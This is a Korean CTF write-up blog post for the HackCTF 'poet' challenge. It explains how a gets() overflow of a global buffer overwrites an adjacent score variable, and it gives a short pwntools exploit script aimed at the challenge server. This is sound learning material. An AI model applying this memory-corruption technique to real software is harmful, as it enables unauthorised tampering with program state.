상세 컨텐츠

본문 제목

[HackCTF] poet

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 8. 00:19

본문

728x90
반응형

# process

 

1000000점을 획득해야 while문에서 break하고 reward() 함수를 호출해서 flag를 얻을 수 있다.

그리고 if문 조건에 제시된 단어 하나 당 100점씩 얻게 된다.

 

 

하지만 단어 10000개를 줘도 되지 않는다.

 

 

다른 방법으로 dword_6024e0 변수를 1000000으로 만들어야 한다.

 

 

타겟이 되는 변수는 bss 섹션에 위치한다.

따라서 이 주소가 고정적이다.

 

 

gets() 함수의 입력버퍼인 poem의 위치도 확인해보면

 

bss 섹션에 위치하고 있다.

 

dword_6024e0과 poem 변수 모두 고정적인 전역변수이다.

&dword_6024e0 - &poem = 0x40

으로 poem+0x40 위치에 dword_6024e0이 위치한다.

즉, gets() 함수로 입력받을 때 dword_6024e0 변수의 값을 제어할 수 있다.

 

또 get_poem 함수 이후에 get_author 함수에서 unk_6024a0에 gets() 함수로 입력받는데 확인해보면 poem과 같은 주소에 위치한다. 

그렇다면 get_poem, get_author의 두 번의 입력이 있는데, 어디에 payload를 전달해야 할까?

 

디버깅으로 확인해보면, get_poem에서는 버퍼주소가 0x6020a0이고, get_author에서는 입력버퍼주소가 0x6024a0, 즉 우리가 알고있는 unk_6024e0이 위치한 주소이다.

따라서 get_author 함수로 payload를 전달한다.

 

pay = 'A'*0x40 + p64(1000000)

 

# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#p = process("./poet")
p = remote("ctf.j0n9hyun.xyz", 3012)

p.sendlineafter("> ", "")
p.sendlineafter("> ", 'A'*0x40 + p64(1000000))

p.interactive()

 

# exploit

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] RTL_Core  (0) 2020.01.08
[HackCTF] g++pwn  (0) 2020.01.08
[HackCTF] RTL_World  (0) 2020.01.02
[HackCTF] BOF_PIE  (0) 2020.01.01
[HackCTF] offset  (0) 2020.01.01

관련글 더보기